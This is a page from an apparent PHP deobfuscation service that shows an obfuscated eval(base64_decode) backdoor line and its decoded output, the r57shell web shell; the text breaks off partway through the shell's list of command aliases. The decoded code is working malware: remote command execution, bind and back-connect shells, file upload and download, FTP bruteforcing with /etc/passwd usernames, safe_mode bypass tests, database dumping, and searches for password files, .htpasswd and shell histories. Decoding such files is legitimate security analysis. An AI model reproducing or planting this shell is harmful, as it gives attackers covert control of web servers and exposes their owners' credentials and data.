Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_GET["wso"])){ eval(base64_decode("JGF1dGhfcGFzcz0iIjskY29sb3I9IiMwMGNmM..

Decoded Output download

$language='eng';$auth=0 ;$name='r57';$pass='r57';error_reporting(0 );set_magic_quotes_runtime(0 );@set_time_limit(0 );@ini_set('max_execution_time',0 );@ini_set('output_buffering',0 );$safe_mode=@ini_get('safe_mode');$version="1.24 / 1.7.2";if(version_compare(phpversion(),'4.1.0')==-1 ){$_POST=&$_POST;$_GET=&$_GET;$_SERVER=&$_SERVER;}if(@get_magic_quotes_gpc()){foreach($_POST as $k=>$v){$_POST[$k]=stripslashes($v);}foreach($_SERVER as $k=>$v){$_SERVER[$k]=stripslashes($v);}}if($auth==1 ){if(!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass){header('WWW-Authenticate: Basic realm="r57shell"');header('HTTP/1.0 401 Unauthorized');exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");}}$head='<html>
<head>
<title>r57shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<STYLE>
tr {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
.table1 {
BORDER-RIGHT:  #cccccc 0px;
BORDER-TOP:    #cccccc 0px;
BORDER-LEFT:   #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
BACKGROUND-COLOR: #D4D0C8;
}
.td1 {
BORDER-RIGHT:  #cccccc 0px;
BORDER-TOP:    #cccccc 0px;
BORDER-LEFT:   #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
font: 7pt Verdana;
}
.tr1 {
BORDER-RIGHT:  #cccccc 0px;
BORDER-TOP:    #cccccc 0px;
BORDER-LEFT:   #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
}
table {
BORDER-RIGHT:  #eeeeee 1px outset;
BORDER-TOP:    #eeeeee 1px outset;
BORDER-LEFT:   #eeeeee 1px outset;
BORDER-BOTTOM: #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT:  buttonhighlight 2px outset;
BORDER-TOP:    buttonhighlight 2px outset;
BORDER-LEFT:   buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>';class dbmysql{var $connid=0 ;var $result='';var $errormsg='';var $lang=array("err1"=>"Unable to select database!","err2"=>"No connection to the database!","err3"=>"Unable to execute query: ");var $errorShow=1 ;var $errorExit=1 ;var $char="";function dbmysql($server,$user,$password,$database,$char=null){$this->char=($char!=null)?$char:"cp1251";$this->server=$server;$this->user=$user;$this->password=$password;$this->database=$database;if($this->connid==0 ){$this->connid=@mysql_connect($this->server,$this->user,$this->password);mysql_query("SET NAMES '".$this->char."'");mysql_query("SET CHARACTER SET '".$this->char."'");if($this->connid){if($this->database!=""){if(@mysql_select_db($this->database,$this->connid)){return $this->connid;}else {$this->errormsg=$this->lang['err1'];$this->error();}}}else {$this->errormsg=$this->lang['err2'];$this->error();}}}function query($query=''){$this->result='';if($query){$this->result=@mysql_query($query,$this->connid);}if($this->result){return $this->result;}else {$this->errormsg=$this->lang['err3'].$query;$this->error();false;}}function fetchrow($query=0 ){return @mysql_fetch_array($query);}function count($query=0 ){return @mysql_num_rows($query);}function escape($inp){return @mysql_escape_string($inp);}function error(){if($this->errorShow==1 ){print $this->errormsg;}if($this->errorExit==1 ){exit();}}function fetchrowArr($query){$result=array();while($item=$this->fetchrow($query)){$result[]=$item;}return $result;}function queryArr($query){return $this->fetchrowArr($this->query($query));}}class zipfile{var $datasec=array();var $ctrl_dir=array();var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00";var $old_offset=0 ;function unix2DosTime($unixtime=0 ){$timearray=($unixtime==0 )?getdate():getdate($unixtime);if($timearray['year']<1980 ){$timearray['year']=1980 ;$timearray['mon']=1 ;$timearray['mday']=1 ;$timearray['hours']=0 ;$timearray['minutes']=0 ;$timearray['seconds']=0 ;}return (($timearray['year']-1980 )<<25 )|($timearray['mon']<<21 )|($timearray['mday']<<16 )|($timearray['hours']<<11 )|($timearray['minutes']<<5 )|($timearray['seconds']>>1 );}function addFile($data,$name,$time=0 ){$name=str_replace('\\','/',$name);$dtime=dechex($this->unix2DosTime($time));$hexdtime='\x'.$dtime[6 ].$dtime[7 ].'\x'.$dtime[4 ].$dtime[5 ].'\x'.$dtime[2 ].$dtime[3 ].'\x'.$dtime[0 ].$dtime[1 ];eval('$hexdtime = "'.$hexdtime.'";');$fr="\x50\x4b\x03\x04";$fr.="\x14\x00";$fr.="\x00\x00";$fr.="\x08\x00";$fr.=$hexdtime;$unc_len=strlen($data);$crc=crc32($data);$zdata=gzcompress($data);$zdata=substr(substr($zdata,0 ,strlen($zdata)-4 ),2 );$c_len=strlen($zdata);$fr.=pack('V',$crc);$fr.=pack('V',$c_len);$fr.=pack('V',$unc_len);$fr.=pack('v',strlen($name));$fr.=pack('v',0 );$fr.=$name;$fr.=$zdata;$this->datasec[]=$fr;$cdrec="\x50\x4b\x01\x02";$cdrec.="\x00\x00";$cdrec.="\x14\x00";$cdrec.="\x00\x00";$cdrec.="\x08\x00";$cdrec.=$hexdtime;$cdrec.=pack('V',$crc);$cdrec.=pack('V',$c_len);$cdrec.=pack('V',$unc_len);$cdrec.=pack('v',strlen($name));$cdrec.=pack('v',0 );$cdrec.=pack('v',0 );$cdrec.=pack('v',0 );$cdrec.=pack('v',0 );$cdrec.=pack('V',32 );$cdrec.=pack('V',$this->old_offset);$this->old_offset+=strlen($fr);$cdrec.=$name;$this->ctrl_dir[]=$cdrec;}function file(){$data=implode('',$this->datasec);$ctrldir=implode('',$this->ctrl_dir);return $data.$ctrldir.$this->eof_ctrl_dir.pack('v',sizeof($this->ctrl_dir)).pack('v',sizeof($this->ctrl_dir)).pack('V',strlen($ctrldir)).pack('V',strlen($data))."\x00\x00";}}function compress(&$filename,&$filedump,$compress){global $content_encoding;global $mime_type;if($compress=='bzip' && @function_exists('bzcompress')){$filename.='.bz2';$mime_type='application/x-bzip2';$filedump=bzcompress($filedump);}else if($compress=='gzip' && @function_exists('gzencode')){$filename.='.gz';$content_encoding='x-gzip';$mime_type='application/x-gzip';$filedump=gzencode($filedump);}else if($compress=='zip' && @function_exists('gzcompress')){$filename.='.zip';$mime_type='application/zip';$zipfile=new zipfile();$zipfile->addFile($filedump,substr($filename,0 ,-4 ));$filedump=$zipfile->file();}else {$mime_type='application/octet-stream';}}function mailattach($to,$from,$subj,$attach){$headers="From: $from\r\n";$headers.="MIME-Version: 1.0\r\n";$headers.="Content-Type: ".$attach['type'];$headers.="; name=\"".$attach['name']."\"\r\n";$headers.="Content-Transfer-Encoding: base64\r\n\r\n";$headers.=chunk_split(base64_encode($attach['content']))."\r\n";if(@mail($to,$subj,"",$headers)){return 1 ;}return 0 ;}if(isset($_GET['mysql_query'])){$mysqlServer=(isset($_POST['mysqlServer']))?$_POST['mysqlServer']:'localhost';$mysqlUser=(isset($_POST['mysqlUser']))?$_POST['mysqlUser']:'root';$mysqlPwd=(isset($_POST['mysqlPwd']))?$_POST['mysqlPwd']:'';$mysqlDb=(isset($_POST['mysqlDb']))?$_POST['mysqlDb']:'';$mysqlQuery=(isset($_POST['mysqlQuery']))?$_POST['mysqlQuery']:'';print $head;print '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>Mysql query</b></font></div></td></tr></table>';print '<center><table width="80%" style="font-family:Verdana; font-size:10px;">';print '<tr><td align="center" style="font-weight:bold;">';print '<form method="POST">';print 'Server:<input type="text" name="mysqlServer" value="'.$mysqlServer.'" />&nbsp;&nbsp;';print 'User:<input type="text" name="mysqlUser" value="'.$mysqlUser.'" />&nbsp;&nbsp;';print 'Password:<input type="text" name="mysqlPwd" value="'.$mysqlPwd.'" />&nbsp;&nbsp;';print 'Database:<input type="text" name="mysqlDb" value="'.$mysqlDb.'" /><br />';print 'Query:<input type="text" size="80" name="mysqlQuery" value="'.$mysqlQuery.'" />&nbsp;&nbsp;';print '<input type="submit" value="Execute" />';print '</form>';print '</td></tr>';print '<tr><td align=center><textarea cols=121 rows=15>';if($mysqlQuery!=''){$db=new dbmysql($mysqlServer,$mysqlUser,$mysqlPwd,$mysqlDb);$query=$db->queryArr($mysqlQuery);print_r($query);}print '</textarea></td></tr>';print '<tr><td style="font-size:9px;"><b><u>Examples:</u></b><br />';print "<b>WordPress:</b> SELECT `option_name`,`option_value` FROM `wp_options` WHERE `option_name` = 'template' OR `option_name` = 'siteurl'";print '</td></tr>';print '</table></center>';print "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if(isset($_GET['img']) && !empty($_GET['img'])){$images=array();$images[1 ]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';$images[2 ]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';@ob_clean();header("Content-type: image/gif");echo base64_decode($images[$_GET['img']]);die();}if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])){if(!$file=@fopen($_POST['d_name'],"r")){echo re($_POST['d_name']);$_POST['cmd']="";}else {@ob_clean();$filename=@basename($_POST['d_name']);$filedump=@fread($file,@filesize($_POST['d_name']));fclose($file);$content_encoding=$mime_type='';compress($filename,$filedump,$_POST['compress']);if(!empty($content_encoding)){header('Content-Encoding: '.$content_encoding);}header("Content-type: ".$mime_type);header("Content-disposition: attachment; filename=\"".$filename."\";");echo $filedump;exit();}}if(isset($_GET['phpinfo'])){echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if($_POST['cmd']=="db_query"){echo $head;switch($_POST['db']){case 'MySQL':if(empty($_POST['db_port'])){$_POST['db_port']='3306';}$db=@mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);if($db){if(!empty($_POST['mysql_db'])){@mysql_select_db($_POST['mysql_db'],$db);}$querys=@explode(';',$_POST['db_query']);foreach($querys as $num=>$query){if(strlen($query)>5 ){echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";$res=@mysql_query($query,$db);$error=@mysql_error($db);if($error){echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>";}else {if(@mysql_num_rows($res)>0 ){$sql2=$sql=$keys=$values='';while(($row=@mysql_fetch_assoc($res))){$keys=@implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;",@array_keys($row));$values=@array_values($row);foreach($values as $k=>$v){$values[$k]=htmlspecialchars($v);}$values=@implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);$sql2.="<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";}echo "<table width=100%>";$sql="<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";$sql.=$sql2;echo $sql;echo "</table><br>";}else {if(($rows=@mysql_affected_rows($db))>=0 ){echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>";}}}@mysql_free_result($res);}}@mysql_close($db);}else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";break;case 'MSSQL':if(empty($_POST['db_port'])){$_POST['db_port']='1433';}$db=@mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);if($db){if(!empty($_POST['mysql_db'])){@mssql_select_db($_POST['mysql_db'],$db);}$querys=@explode(';',$_POST['db_query']);foreach($querys as $num=>$query){if(strlen($query)>5 ){echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";$res=@mssql_query($query,$db);if(@mssql_num_rows($res)>0 ){$sql2=$sql=$keys=$values='';while(($row=@mssql_fetch_assoc($res))){$keys=@implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;",@array_keys($row));$values=@array_values($row);foreach($values as $k=>$v){$values[$k]=htmlspecialchars($v);}$values=@implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);$sql2.="<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";}echo "<table width=100%>";$sql="<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";$sql.=$sql2;echo $sql;echo "</table><br>";}@mssql_free_result($res);}}@mssql_close($db);}else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";break;case 'PostgreSQL':if(empty($_POST['db_port'])){$_POST['db_port']='5432';}$str="host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";$db=@pg_connect($str);if($db){$querys=@explode(';',$_POST['db_query']);foreach($querys as $num=>$query){if(strlen($query)>5 ){echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";$res=@pg_query($db,$query);$error=@pg_errormessage($db);if($error){echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>";}else {if(@pg_num_rows($res)>0 ){$sql2=$sql=$keys=$values='';while(($row=@pg_fetch_assoc($res))){$keys=@implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;",@array_keys($row));$values=@array_values($row);foreach($values as $k=>$v){$values[$k]=htmlspecialchars($v);}$values=@implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);$sql2.="<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";}echo "<table width=100%>";$sql="<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";$sql.=$sql2;echo $sql;echo "</table><br>";}else {if(($rows=@pg_affected_rows($res))>=0 ){echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>";}}}@pg_free_result($res);}}@pg_close($db);}else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";break;case 'Oracle':$db=@ocilogon($_POST['mysql_l'],$_POST['mysql_p'],$_POST['mysql_db']);if(($error=@ocierror())){echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>";}else {$querys=@explode(';',$_POST['db_query']);foreach($querys as $num=>$query){if(strlen($query)>5 ){echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";$stat=@ociparse($db,$query);@ociexecute($stat);if(($error=@ocierror())){echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>";}else {$rowcount=@ocirowcount($stat);if($rowcount!=0 ){echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}else {echo "<table width=100%><tr>";for($j=1 ;$j<=@ocinumcols($stat);$j++){echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat,$j))."&nbsp;</b></font></td>";}echo "</tr>";while(ocifetch($stat)){echo "<tr>";for($j=1 ;$j<=@ocinumcols($stat);$j++){echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat,$j))."&nbsp;</font></td>";}echo "</tr>";}echo "</table><br>";}@ocifreestatement($stat);}}}@ocilogoff($db);}break;}echo "<form name=form method=POST>";echo in('hidden','db',0 ,$_POST['db']);echo in('hidden','db_port',0 ,$_POST['db_port']);echo in('hidden','mysql_l',0 ,$_POST['mysql_l']);echo in('hidden','mysql_p',0 ,$_POST['mysql_p']);echo in('hidden','mysql_db',0 ,$_POST['mysql_db']);echo in('hidden','cmd',0 ,'db_query');echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";echo "</form>";echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if(isset($_GET['delete'])){@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1 ));}if(isset($_GET['tmp'])){@unlink("/tmp/bdpl");@unlink("/tmp/back");@unlink("/tmp/bd");@unlink("/tmp/bd.c");@unlink("/tmp/dp");@unlink("/tmp/dpc");@unlink("/tmp/dpc.c");}if(isset($_GET['phpini'])){echo $head;function U_value($value){if($value=='')return '<i>no value</i>';if(@is_bool($value))return $value?'TRUE':'FALSE';if($value===null)return 'NULL';if(@is_object($value))$value=(array)$value;if(@is_array($value)){@ob_start();print_r($value);$value=@ob_get_contents();@ob_end_clean();}return U_wordwrap((string)$value);}function U_wordwrap($str){$str=@wordwrap(@htmlspecialchars($str),100 ,'<wbr />',true);return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!','$1$2<wbr />',$str);}if(@function_exists('ini_get_all')){$r='';echo '<table width=100%>','<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';foreach(@ini_get_all() as $key=>$value){$r.='<tr><td>'.ws(3 ).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';}echo $r;echo '</table>';}echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if(isset($_GET['cpu'])){echo $head;echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';$cpuf=@file("cpuinfo");if($cpuf){$c=@sizeof($cpuf);for($i=0 ;$i<$c;$i++){$info=@explode(":",$cpuf[$i]);if($info[1 ]==""){$info[1 ]="---";}$r.='<tr><td>'.ws(3 ).'<font face=Verdana size=-2><b>'.trim($info[0 ]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1 ]).'</b></div></font></td></tr>';}echo $r;}else {echo '<tr><td>'.ws(3 ).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';}echo '</table>';echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if(isset($_GET['mem'])){echo $head;echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';$memf=@file("meminfo");if($memf){$c=sizeof($memf);for($i=0 ;$i<$c;$i++){$info=explode(":",$memf[$i]);if($info[1 ]==""){$info[1 ]="---";}$r.='<tr><td>'.ws(3 ).'<font face=Verdana size=-2><b>'.trim($info[0 ]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1 ]).'</b></div></font></td></tr>';}echo $r;}else {echo '<tr><td>'.ws(3 ).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';}echo '</table>';echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}$lang=array('ru_text1'=>' ','ru_text2'=>'   ','ru_text3'=>' ','ru_text4'=>' ','ru_text5'=>'   ','ru_text6'=>' ','ru_text7'=>'','ru_text8'=>' ','ru_butt1'=>'','ru_butt2'=>'','ru_text9'=>'      /bin/bash','ru_text10'=>' ','ru_text11'=>'  ','ru_butt3'=>'','ru_text12'=>'back-connect','ru_text13'=>'IP-','ru_text14'=>'','ru_butt4'=>'','ru_text15'=>'    ','ru_text16'=>'','ru_text17'=>' ','ru_text18'=>' ','ru_text19'=>'Exploits','ru_text20'=>'','ru_text21'=>' ','ru_text22'=>'datapipe','ru_text23'=>' ','ru_text24'=>' ','ru_text25'=>' ','ru_text26'=>'','ru_butt5'=>'','ru_text28'=>'  safe_mode','ru_text29'=>' ','ru_butt6'=>'','ru_text30'=>' ','ru_butt7'=>'','ru_text31'=>'  ','ru_text32'=>' PHP ','ru_text33'=>'    open_basedir   cURL','ru_butt8'=>'','ru_text34'=>'    safe_mode   include','ru_text35'=>'    safe_mode     mysql','ru_text36'=>'','ru_text37'=>'','ru_text38'=>'','ru_text39'=>'','ru_text40'=>'   ','ru_butt9'=>'','ru_text41'=>'  ','ru_text42'=>' ','ru_text43'=>' ','ru_butt10'=>'','ru_butt11'=>'','ru_text44'=>'  !    !','ru_text45'=>' ','ru_text46'=>' phpinfo()','ru_text47'=>'  php.ini','ru_text48'=>'  ','ru_text49'=>'   ','ru_text50'=>'  ','ru_text51'=>'  ','ru_text52'=>'  ','ru_text53'=>'  ','ru_text54'=>'   ','ru_butt12'=>'','ru_text55'=>'  ','ru_text56'=>'  ','ru_text57'=>'/ /','ru_text58'=>'','ru_text59'=>'','ru_text60'=>'','ru_butt13'=>'/','ru_text61'=>' ','ru_text62'=>' ','ru_text63'=>' ','ru_text64'=>' ','ru_text65'=>'','ru_text66'=>'','ru_text67'=>'Chown/Chgrp/Chmod','ru_text68'=>'','ru_text69'=>'1','ru_text70'=>'2','ru_text71'=>"  :\r\n-  CHOWN -      UID () \r\n-   CHGRP -    GID () \r\n-   CHMOD -      ( 0777)",'ru_text72'=>'  ','ru_text73'=>'  ','ru_text74'=>'  ','ru_text75'=>'*    ','ru_text76'=>'       find','ru_text77'=>'   ','ru_text78'=>' ','ru_text79'=>' ','ru_text80'=>'','ru_text81'=>'','ru_text82'=>' ','ru_text83'=>' SQL ','ru_text84'=>'SQL ','ru_text85'=>'    safe_mode     MSSQL ','ru_text86'=>'   ','ru_butt14'=>'','ru_text87'=>'    ftp-','ru_text88'=>'FTP-:','ru_text89'=>'  ftp ','ru_text90'=>' ','ru_text91'=>' ','ru_text92'=>' ','ru_text93'=>'FTP','ru_text94'=>'FTP-','ru_text95'=>' ','ru_text96'=>'    ','ru_text97'=>' : ','ru_text98'=>' : ','ru_text99'=>'*          /etc/passwd','ru_text100'=>'     ','ru_text101'=>'   (user -> resu)     ','ru_text102'=>'','ru_text103'=>' ','ru_text104'=>'    ','ru_text105'=>'','ru_text106'=>'','ru_text107'=>'','ru_butt15'=>'','ru_text108'=>' ','ru_text109'=>'','ru_text110'=>'','eng_text1'=>'Executed command','eng_text2'=>'Execute command on server','eng_text3'=>'Run command','eng_text4'=>'Work directory','eng_text5'=>'Upload files on server','eng_text6'=>'Local file','eng_text7'=>'Aliases','eng_text8'=>'Select alias','eng_butt1'=>'Execute','eng_butt2'=>'Upload','eng_text9'=>'Bind port to /bin/bash','eng_text10'=>'Port','eng_text11'=>'Password for access','eng_butt3'=>'Bind','eng_text12'=>'back-connect','eng_text13'=>'IP','eng_text14'=>'Port','eng_butt4'=>'Connect','eng_text15'=>'Upload files from remote server','eng_text16'=>'With','eng_text17'=>'Remote file','eng_text18'=>'Local file','eng_text19'=>'Exploits','eng_text20'=>'Use','eng_text21'=>'&nbsp;New name','eng_text22'=>'datapipe','eng_text23'=>'Local port','eng_text24'=>'Remote host','eng_text25'=>'Remote port','eng_text26'=>'Use','eng_butt5'=>'Run','eng_text28'=>'Work in safe_mode','eng_text29'=>'ACCESS DENIED','eng_butt6'=>'Change','eng_text30'=>'Cat file','eng_butt7'=>'Show','eng_text31'=>'File not found','eng_text32'=>'Eval PHP code','eng_text33'=>'Test bypass open_basedir with cURL functions','eng_butt8'=>'Test','eng_text34'=>'Test bypass safe_mode with include function','eng_text35'=>'Test bypass safe_mode with load file in mysql','eng_text36'=>'Database','eng_text37'=>'Login','eng_text38'=>'Password','eng_text39'=>'Table','eng_text40'=>'Dump database table','eng_butt9'=>'Dump','eng_text41'=>'Save dump in file','eng_text42'=>'Edit files','eng_text43'=>'File for edit','eng_butt10'=>'Save','eng_text44'=>'Can\'t edit file! Only read access!','eng_text45'=>'File saved','eng_text46'=>'Show phpinfo()','eng_text47'=>'Show variables from php.ini','eng_text48'=>'Delete temp files','eng_butt11'=>'Edit file','eng_text49'=>'Delete script from server','eng_text50'=>'View cpu info','eng_text51'=>'View memory info','eng_text52'=>'Find text','eng_text53'=>'In dirs','eng_text54'=>'Find text in files','eng_butt12'=>'Find','eng_text55'=>'Only in files','eng_text56'=>'Nothing :(','eng_text57'=>'Create/Delete File/Dir','eng_text58'=>'Name','eng_text59'=>'File','eng_text60'=>'Dir','eng_butt13'=>'Create/Delete','eng_text61'=>'File created','eng_text62'=>'Dir created','eng_text63'=>'File deleted','eng_text64'=>'Dir deleted','eng_text65'=>'Create','eng_text66'=>'Delete','eng_text67'=>'Chown/Chgrp/Chmod','eng_text68'=>'Command','eng_text69'=>'param1','eng_text70'=>'param2','eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",'eng_text72'=>'Text for find','eng_text73'=>'Find in folder','eng_text74'=>'Find in files','eng_text75'=>'* you can use regexp','eng_text76'=>'Search text in files via find','eng_text77'=>'Show database structure','eng_text78'=>'Show tables','eng_text79'=>'Show columns','eng_text80'=>'Type','eng_text81'=>'Net','eng_text82'=>'Databases','eng_text83'=>'Run SQL query','eng_text84'=>'SQL query','eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server','eng_text86'=>'Download files from server','eng_butt14'=>'Download','eng_text87'=>'Download files from remote ftp-server','eng_text88'=>'FTP-server:port','eng_text89'=>'File on ftp','eng_text90'=>'Transfer mode','eng_text91'=>'Archivation','eng_text92'=>'without archivation','eng_text93'=>'FTP','eng_text94'=>'FTP-bruteforce','eng_text95'=>'Users list','eng_text96'=>'Can\'t get users list','eng_text97'=>'Checked: ','eng_text98'=>'Success: ','eng_text99'=>'* use username from /etc/passwd for ftp login and password','eng_text100'=>'Send file to remote ftp server','eng_text101'=>'Use reverse (user -> resu) login for password','eng_text102'=>'Mail','eng_text103'=>'Send email','eng_text104'=>'Send file to email','eng_text105'=>'To','eng_text106'=>'From','eng_text107'=>'Subj','eng_butt15'=>'Send','eng_text108'=>'Mail','eng_text109'=>'Hide','eng_text110'=>'Show',);$aliases=array('find suid files'=>'find / -type f -perm -04000 -ls','find suid files in current dir'=>'find . -type f -perm -04000 -ls','find sgid files'=>'find / -type f -perm -02000 -ls','find sgid files in current dir'=>'find . -type f -perm -02000 -ls','find config.inc.php files'=>'find / -type f -name config.inc.php','find config.inc.php files in current dir'=>'find . -type f -name config.inc.php','find config* files'=>'find / -type f -name "config*"','find config* files in current dir'=>'find . -type f -name "config*"','find all writable files'=>'find / -type f -perm -2 -ls','find all writable files in current dir'=>'find . -type f -perm -2 -ls','find all writable directories'=>'find /  -type d -perm -2 -ls','find all writable directories in current dir'=>'find . -type d -perm -2 -ls','find all writable directories and files'=>'find / -perm -2 -ls','find all writable directories and files in current dir'=>'find . -perm -2 -ls','find all service.pwd files'=>'find / -type f -name service.pwd','find service.pwd files in current dir'=>'find . -type f -name service.pwd','find all .htpasswd files'=>'find / -type f -name .htpasswd','find .htpasswd files in current dir'=>'find . -type f -name .htpasswd','find all .bash_history files'=>'find / -type f -name .bash_history','find .bash_history files in current dir'=>'find . -type f -name .bash_history','find all .mysql_history files'=>'find / -type f -name .mysql_history','find .mysql_history files in current dir'=>'find . -type f -name .mysql_history','find all 